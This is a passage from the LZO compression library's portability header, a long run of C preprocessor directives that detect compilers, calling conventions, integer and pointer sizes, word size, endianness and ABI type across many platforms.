(LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) # define __lzo_union_um(s) _Packed union s { # define __lzo_union_um_end() }; #endif #endif #if !defined(__lzo_union_am) # define __lzo_union_am(s) union s { # define __lzo_union_am_end() }; #endif #if !defined(__lzo_constructor) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_constructor __attribute__((__constructor__,__used__)) #elif (LZO_CC_GNUC >= 0x020700ul) # define __lzo_constructor __attribute__((__constructor__)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_constructor __attribute__((__constructor__,__used__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_constructor __attribute__((__constructor__)) #endif #endif #if defined(__lzo_constructor) # ifndef __lzo_HAVE_constructor # define __lzo_HAVE_constructor 1 # endif #endif #if !defined(__lzo_destructor) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_destructor __attribute__((__destructor__,__used__)) #elif (LZO_CC_GNUC >= 0x020700ul) # define __lzo_destructor __attribute__((__destructor__)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_destructor __attribute__((__destructor__,__used__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_destructor __attribute__((__destructor__)) #endif #endif #if defined(__lzo_destructor) # ifndef __lzo_HAVE_destructor # define __lzo_HAVE_destructor 1 # endif #endif #if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor) # error "unexpected configuration - check your compiler defines" #endif #if !defined(__lzo_likely) && !defined(__lzo_unlikely) #if (LZO_CC_GNUC >= 0x030200ul) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #elif (LZO_CC_IBMC >= 1010) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800)) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #endif #endif #if defined(__lzo_likely) # ifndef __lzo_HAVE_likely # define __lzo_HAVE_likely 1 # endif #else # define __lzo_likely(e) (e) #endif #if defined(__lzo_unlikely) # ifndef __lzo_HAVE_unlikely # define __lzo_HAVE_unlikely 1 # endif #else # define __lzo_unlikely(e) (e) #endif #if !defined(__lzo_static_unused_void_func) # if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) # define __lzo_static_unused_void_func(f) static void __attribute__((__unused__)) f(void) # else # define __lzo_static_unused_void_func(f) static __lzo_inline void f(void) # endif #endif #if !defined(__lzo_loop_forever) # if (LZO_CC_IBMC) # define __lzo_loop_forever() LZO_BLOCK_BEGIN for (;;) { ; } LZO_BLOCK_END # else # define __lzo_loop_forever() do { ; } while __lzo_cte(1) # endif #endif #if !defined(__lzo_unreachable) #if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x020800ul)) # define __lzo_unreachable() __builtin_unreachable(); #elif (LZO_CC_GNUC >= 0x040500ul) # define __lzo_unreachable() __builtin_unreachable(); #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1300)) && 1 # define __lzo_unreachable() __builtin_unreachable(); #endif #endif #if defined(__lzo_unreachable) # ifndef __lzo_HAVE_unreachable # define __lzo_HAVE_unreachable 1 # endif #else # if 0 # define __lzo_unreachable() ((void)0); # else # define __lzo_unreachable() __lzo_loop_forever(); # endif #endif #ifndef __LZO_CTA_NAME #if (LZO_CFG_USE_COUNTER) # define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__COUNTER__) #else # define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__LINE__) #endif #endif #if !defined(LZO_COMPILE_TIME_ASSERT_HEADER) # if (LZO_CC_AZTECC || LZO_CC_ZORTECHC) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END # elif (LZO_CC_DMC || LZO_CC_SYMANTECC) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1u-2*!(e)]; LZO_EXTERN_C_END # elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END # elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020900ul)) && defined(__cplusplus) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN int __LZO_CTA_NAME(lzo_cta_f__)(int [1-2*!(e)]); LZO_EXTERN_C_END # elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__)); LZO_EXTERN_C_END # else # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-2*!(e)]; LZO_EXTERN_C_END # endif #endif #if !defined(LZO_COMPILE_TIME_ASSERT) # if (LZO_CC_AZTECC) # define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-!(e)];} # elif (LZO_CC_DMC || LZO_CC_PACIFICC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) # define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; # elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) # define LZO_COMPILE_TIME_ASSERT(e) {(void) (0/!!(e));} # elif (LZO_CC_GNUC >= 0x040700ul) && (LZO_CFG_USE_COUNTER) && defined(__cplusplus) # define LZO_COMPILE_TIME_ASSERT(e) {enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__));} # elif (LZO_CC_GNUC >= 0x040700ul) # define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)] __attribute__((__unused__));} # elif (LZO_CC_MSC && (_MSC_VER < 900)) # define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; # elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) # define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; # else # define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)];} # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(1 == 1) #if defined(__cplusplus) extern "C" { LZO_COMPILE_TIME_ASSERT_HEADER(2 == 2) } #endif LZO_COMPILE_TIME_ASSERT_HEADER(3 == 3) #if (LZO_ARCH_I086 || LZO_ARCH_I386) && (LZO_OS_DOS16 || LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_OS216 || LZO_OS_WIN16 || LZO_OS_WIN32 || LZO_OS_WIN64) # if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC) # elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) # define __lzo_cdecl __cdecl # define __lzo_cdecl_atexit /*empty*/ # define __lzo_cdecl_main __cdecl # if (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) # define __lzo_cdecl_qsort __pascal # elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) # define __lzo_cdecl_qsort _stdcall # else # define __lzo_cdecl_qsort __cdecl # endif # elif (LZO_CC_WATCOMC) # define __lzo_cdecl __cdecl # else # define __lzo_cdecl __cdecl # define __lzo_cdecl_atexit __cdecl # define __lzo_cdecl_main __cdecl # define __lzo_cdecl_qsort __cdecl # endif # if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC || LZO_CC_WATCOMC) # elif (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) # define __lzo_cdecl_sighandler __pascal # elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) # define __lzo_cdecl_sighandler _stdcall # elif (LZO_CC_MSC && (_MSC_VER >= 1400)) && defined(_M_CEE_PURE) # define __lzo_cdecl_sighandler __clrcall # elif (LZO_CC_MSC && (_MSC_VER >= 600 && _MSC_VER < 700)) # if defined(_DLL) # define __lzo_cdecl_sighandler _far _cdecl _loadds # elif defined(_MT) # define __lzo_cdecl_sighandler _far _cdecl # else # define __lzo_cdecl_sighandler _cdecl # endif # else # define __lzo_cdecl_sighandler __cdecl # endif #elif (LZO_ARCH_I386) && (LZO_CC_WATCOMC) # define __lzo_cdecl __cdecl #elif (LZO_ARCH_M68K && LZO_OS_TOS && (LZO_CC_PUREC || LZO_CC_TURBOC)) # define __lzo_cdecl cdecl #endif #if !defined(__lzo_cdecl) # define __lzo_cdecl /*empty*/ #endif #if !defined(__lzo_cdecl_atexit) # define __lzo_cdecl_atexit /*empty*/ #endif #if !defined(__lzo_cdecl_main) # define __lzo_cdecl_main /*empty*/ #endif #if !defined(__lzo_cdecl_qsort) # define __lzo_cdecl_qsort /*empty*/ #endif #if !defined(__lzo_cdecl_sighandler) # define __lzo_cdecl_sighandler /*empty*/ #endif #if !defined(__lzo_cdecl_va) # define __lzo_cdecl_va __lzo_cdecl #endif #if !(LZO_CFG_NO_WINDOWS_H) #if !defined(LZO_HAVE_WINDOWS_H) #if (LZO_OS_CYGWIN || (LZO_OS_EMX && defined(__RSXNT__)) || LZO_OS_WIN32 || LZO_OS_WIN64) # if (LZO_CC_WATCOMC && (__WATCOMC__ < 1000)) # elif (LZO_OS_WIN32 && LZO_CC_GNUC) && defined(__PW32__) # elif ((LZO_OS_CYGWIN || defined(__MINGW32__)) && (LZO_CC_GNUC && (LZO_CC_GNUC < 0x025f00ul))) # else # define LZO_HAVE_WINDOWS_H 1 # endif #endif #endif #endif #ifndef LZO_SIZEOF_SHORT #if defined(SIZEOF_SHORT) # define LZO_SIZEOF_SHORT (SIZEOF_SHORT) #elif defined(__SIZEOF_SHORT__) # define LZO_SIZEOF_SHORT (__SIZEOF_SHORT__) #endif #endif #ifndef LZO_SIZEOF_INT #if defined(SIZEOF_INT) # define LZO_SIZEOF_INT (SIZEOF_INT) #elif defined(__SIZEOF_INT__) # define LZO_SIZEOF_INT (__SIZEOF_INT__) #endif #endif #ifndef LZO_SIZEOF_LONG #if defined(SIZEOF_LONG) # define LZO_SIZEOF_LONG (SIZEOF_LONG) #elif defined(__SIZEOF_LONG__) # define LZO_SIZEOF_LONG (__SIZEOF_LONG__) #endif #endif #ifndef LZO_SIZEOF_LONG_LONG #if defined(SIZEOF_LONG_LONG) # define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG) #elif defined(__SIZEOF_LONG_LONG__) # define LZO_SIZEOF_LONG_LONG (__SIZEOF_LONG_LONG__) #endif #endif #ifndef LZO_SIZEOF___INT16 #if defined(SIZEOF___INT16) # define LZO_SIZEOF___INT16 (SIZEOF___INT16) #endif #endif #ifndef LZO_SIZEOF___INT32 #if defined(SIZEOF___INT32) # define LZO_SIZEOF___INT32 (SIZEOF___INT32) #endif #endif #ifndef LZO_SIZEOF___INT64 #if defined(SIZEOF___INT64) # define LZO_SIZEOF___INT64 (SIZEOF___INT64) #endif #endif #ifndef LZO_SIZEOF_VOID_P #if defined(SIZEOF_VOID_P) # define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P) #elif defined(__SIZEOF_POINTER__) # define LZO_SIZEOF_VOID_P (__SIZEOF_POINTER__) #endif #endif #ifndef LZO_SIZEOF_SIZE_T #if defined(SIZEOF_SIZE_T) # define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T) #elif defined(__SIZEOF_SIZE_T__) # define LZO_SIZEOF_SIZE_T (__SIZEOF_SIZE_T__) #endif #endif #ifndef LZO_SIZEOF_PTRDIFF_T #if defined(SIZEOF_PTRDIFF_T) # define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T) #elif defined(__SIZEOF_PTRDIFF_T__) # define LZO_SIZEOF_PTRDIFF_T (__SIZEOF_PTRDIFF_T__) #endif #endif #define __LZO_LSR(x,b) (((x)+0ul) >> (b)) #if !defined(LZO_SIZEOF_SHORT) # if (LZO_ARCH_CRAY_PVP) # define LZO_SIZEOF_SHORT 8 # elif (USHRT_MAX == LZO_0xffffL) # define LZO_SIZEOF_SHORT 2 # elif (__LZO_LSR(USHRT_MAX,7) == 1) # define LZO_SIZEOF_SHORT 1 # elif (__LZO_LSR(USHRT_MAX,15) == 1) # define LZO_SIZEOF_SHORT 2 # elif (__LZO_LSR(USHRT_MAX,31) == 1) # define LZO_SIZEOF_SHORT 4 # elif (__LZO_LSR(USHRT_MAX,63) == 1) # define LZO_SIZEOF_SHORT 8 # elif (__LZO_LSR(USHRT_MAX,127) == 1) # define LZO_SIZEOF_SHORT 16 # else # error "LZO_SIZEOF_SHORT" # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SHORT == sizeof(short)) #if !defined(LZO_SIZEOF_INT) # if (LZO_ARCH_CRAY_PVP) # define LZO_SIZEOF_INT 8 # elif (UINT_MAX == LZO_0xffffL) # define LZO_SIZEOF_INT 2 # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_SIZEOF_INT 4 # elif (__LZO_LSR(UINT_MAX,7) == 1) # define LZO_SIZEOF_INT 1 # elif (__LZO_LSR(UINT_MAX,15) == 1) # define LZO_SIZEOF_INT 2 # elif (__LZO_LSR(UINT_MAX,31) == 1) # define LZO_SIZEOF_INT 4 # elif (__LZO_LSR(UINT_MAX,63) == 1) # define LZO_SIZEOF_INT 8 # elif (__LZO_LSR(UINT_MAX,127) == 1) # define LZO_SIZEOF_INT 16 # else # error "LZO_SIZEOF_INT" # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_INT == sizeof(int)) #if !defined(LZO_SIZEOF_LONG) # if (ULONG_MAX == LZO_0xffffffffL) # define LZO_SIZEOF_LONG 4 # elif (__LZO_LSR(ULONG_MAX,7) == 1) # define LZO_SIZEOF_LONG 1 # elif (__LZO_LSR(ULONG_MAX,15) == 1) # define LZO_SIZEOF_LONG 2 # elif (__LZO_LSR(ULONG_MAX,31) == 1) # define LZO_SIZEOF_LONG 4 # elif (__LZO_LSR(ULONG_MAX,39) == 1) # define LZO_SIZEOF_LONG 5 # elif (__LZO_LSR(ULONG_MAX,63) == 1) # define LZO_SIZEOF_LONG 8 # elif (__LZO_LSR(ULONG_MAX,127) == 1) # define LZO_SIZEOF_LONG 16 # else # error "LZO_SIZEOF_LONG" # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_LONG == sizeof(long)) #if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) #if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) # if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__) # if (LZO_CC_GNUC >= 0x030300ul) # if ((__LONG_MAX__-0) == (__LONG_LONG_MAX__-0)) # define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG # elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1) # define LZO_SIZEOF_LONG_LONG 4 # endif # endif # endif #endif #endif #if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) #if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) #if (LZO_ARCH_I086 && LZO_CC_DMC) #elif (LZO_CC_CILLY) && defined(__GNUC__) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_SIZEOF_LONG_LONG 8 #elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_OS_WIN64 || defined(_WIN64)) # define LZO_SIZEOF___INT64 8 #elif (LZO_ARCH_I386 && (LZO_CC_DMC)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700))) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__))) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC)) # define LZO_SIZEOF___INT64 8 #elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC)) # define LZO_SIZEOF___INT64 8 #elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520))) # define LZO_SIZEOF___INT64 8 #elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100))) # define LZO_SIZEOF___INT64 8 #elif (LZO_CC_GHS && defined(__LLONG_BIT) && ((__LLONG_BIT-0) == 64)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && ((_INTEGRAL_MAX_BITS-0) == 64)) # define LZO_SIZEOF___INT64 8 #elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__) # define LZO_SIZEOF_LONG_LONG 8 #elif (defined(__vms) || defined(__VMS)) && ((__INITIAL_POINTER_SIZE-0) == 64) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2) #elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) # define LZO_SIZEOF_LONG_LONG 8 #endif #endif #endif #if defined(__cplusplus) && (LZO_CC_GNUC) # if (LZO_CC_GNUC < 0x020800ul) # undef LZO_SIZEOF_LONG_LONG # endif #endif #if (LZO_CFG_NO_LONG_LONG) # undef LZO_SIZEOF_LONG_LONG #elif defined(__NO_LONG_LONG) # undef LZO_SIZEOF_LONG_LONG #elif defined(_NO_LONGLONG) # undef LZO_SIZEOF_LONG_LONG #endif #if !defined(LZO_WORDSIZE) #if (LZO_ARCH_ALPHA) # define LZO_WORDSIZE 8 #elif (LZO_ARCH_AMD64) # define LZO_WORDSIZE 8 #elif (LZO_ARCH_AVR) # define LZO_WORDSIZE 1 #elif (LZO_ARCH_H8300) # if defined(__NORMAL_MODE__) # define LZO_WORDSIZE 4 # elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) # define LZO_WORDSIZE 4 # else # define LZO_WORDSIZE 2 # endif #elif (LZO_ARCH_I086) # define LZO_WORDSIZE 2 #elif (LZO_ARCH_IA64) # define LZO_WORDSIZE 8 #elif (LZO_ARCH_M16C) # define LZO_WORDSIZE 2 #elif (LZO_ARCH_SPU) # define LZO_WORDSIZE 4 #elif (LZO_ARCH_Z80) # define LZO_WORDSIZE 1 #elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) # define LZO_WORDSIZE 8 #elif (LZO_OS_OS400 || defined(__OS400__)) # define LZO_WORDSIZE 8 #elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64) # define LZO_WORDSIZE 8 #endif #endif #if !defined(LZO_SIZEOF_VOID_P) #if defined(__ILP32__) || defined(__ILP32) || defined(_ILP32) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) # define LZO_SIZEOF_VOID_P 4 #elif defined(__ILP64__) || defined(__ILP64) || defined(_ILP64) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) # define LZO_SIZEOF_VOID_P 8 #elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) # define LZO_SIZEOF_VOID_P 8 #elif defined(__LP64__) || defined(__LP64) || defined(_LP64) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) # define LZO_SIZEOF_VOID_P 8 #elif (LZO_ARCH_AVR) # define LZO_SIZEOF_VOID_P 2 #elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430) # define LZO_SIZEOF_VOID_P 2 #elif (LZO_ARCH_H8300) # if defined(__NORMAL_MODE__) # define LZO_SIZEOF_VOID_P 2 # elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) # define LZO_SIZEOF_VOID_P 4 # else # define LZO_SIZEOF_VOID_P 2 # endif # if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4) # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT # endif #elif (LZO_ARCH_I086) # if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM) # define LZO_SIZEOF_VOID_P 2 # elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE) # define LZO_SIZEOF_VOID_P 4 # else # error "invalid LZO_ARCH_I086 memory model" # endif #elif (LZO_ARCH_M16C) # if defined(__m32c_cpu__) || defined(__m32cm_cpu__) # define LZO_SIZEOF_VOID_P 4 # else # define LZO_SIZEOF_VOID_P 2 # endif #elif (LZO_ARCH_SPU) # define LZO_SIZEOF_VOID_P 4 #elif (LZO_ARCH_Z80) # define LZO_SIZEOF_VOID_P 2 #elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) # define LZO_SIZEOF_VOID_P 4 #elif (LZO_OS_OS400 || defined(__OS400__)) # if defined(__LLP64_IFC__) # define LZO_SIZEOF_VOID_P 8 # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG # else # define LZO_SIZEOF_VOID_P 16 # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG # endif #elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64) # define LZO_SIZEOF_VOID_P 8 # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG #endif #endif #if !defined(LZO_SIZEOF_VOID_P) # define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_VOID_P == sizeof(void *)) #if !defined(LZO_SIZEOF_SIZE_T) #if (LZO_ARCH_I086 || LZO_ARCH_M16C) # define LZO_SIZEOF_SIZE_T 2 #endif #endif #if !defined(LZO_SIZEOF_SIZE_T) # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P #endif #if defined(offsetof) LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SIZE_T == sizeof(size_t)) #endif #if !defined(LZO_SIZEOF_PTRDIFF_T) #if (LZO_ARCH_I086) # if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE) # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P # elif (LZO_MM_COMPACT || LZO_MM_LARGE) # if (LZO_CC_BORLANDC || LZO_CC_TURBOC) # define LZO_SIZEOF_PTRDIFF_T 4 # else # define LZO_SIZEOF_PTRDIFF_T 2 # endif # else # error "invalid LZO_ARCH_I086 memory model" # endif #endif #endif #if !defined(LZO_SIZEOF_PTRDIFF_T) # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T #endif #if defined(offsetof) LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_PTRDIFF_T == sizeof(ptrdiff_t)) #endif #if !defined(LZO_WORDSIZE) # define LZO_WORDSIZE LZO_SIZEOF_VOID_P #endif #if (LZO_ABI_NEUTRAL_ENDIAN) # undef LZO_ABI_BIG_ENDIAN # undef LZO_ABI_LITTLE_ENDIAN #elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN) #if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP) # define LZO_ABI_BIG_ENDIAN 1 #elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64) # define LZO_ABI_LITTLE_ENDIAN 1 #elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430) # define LZO_ABI_LITTLE_ENDIAN 1 #elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390 || LZO_ARCH_SPU) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__) # if (__LITTLE_ENDIAN__ == 1) # define LZO_ABI_LITTLE_ENDIAN 1 # else # define LZO_ABI_BIG_ENDIAN 1 # endif #elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__) # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__) # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM && LZO_CC_ARMCC_ARMCC) # if defined(__BIG_ENDIAN) && defined(__LITTLE_ENDIAN) # error "unexpected configuration - check your compiler defines" # elif defined(__BIG_ENDIAN) # define LZO_ABI_BIG_ENDIAN 1 # else # define LZO_ABI_LITTLE_ENDIAN 1 # endif # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EB__) && !defined(__AARCH64EL__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EL__) && !defined(__AARCH64EB__) # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__) # define LZO_ABI_LITTLE_ENDIAN 1 #endif #endif #if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ABI_BIG_ENDIAN) # define LZO_INFO_ABI_ENDIAN "be" #elif (LZO_ABI_LITTLE_ENDIAN) # define LZO_INFO_ABI_ENDIAN "le" #elif (LZO_ABI_NEUTRAL_ENDIAN) # define LZO_INFO_ABI_ENDIAN "neutral" #endif #if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) # define LZO_ABI_I8LP16 1 # define LZO_INFO_ABI_PM "i8lp16" #elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) # define LZO_ABI_ILP16 1 # define LZO_INFO_ABI_PM "ilp16" #elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) # define LZO_ABI_LP32 1 # define LZO_INFO_ABI_PM "lp32" #elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) # define LZO_ABI_ILP32 1 # define LZO_INFO_ABI_PM "ilp32" #elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8) # define LZO_ABI_LLP64 1 # define LZO_INFO_ABI_PM "llp64" #elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) # define LZO_ABI_LP64 1 # define LZO_INFO_ABI_PM "lp64" #elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) # define LZO_ABI_ILP64 1 # define LZO_INFO_ABI_PM "ilp64" #elif (LZO_SIZEOF_INT == 4 && 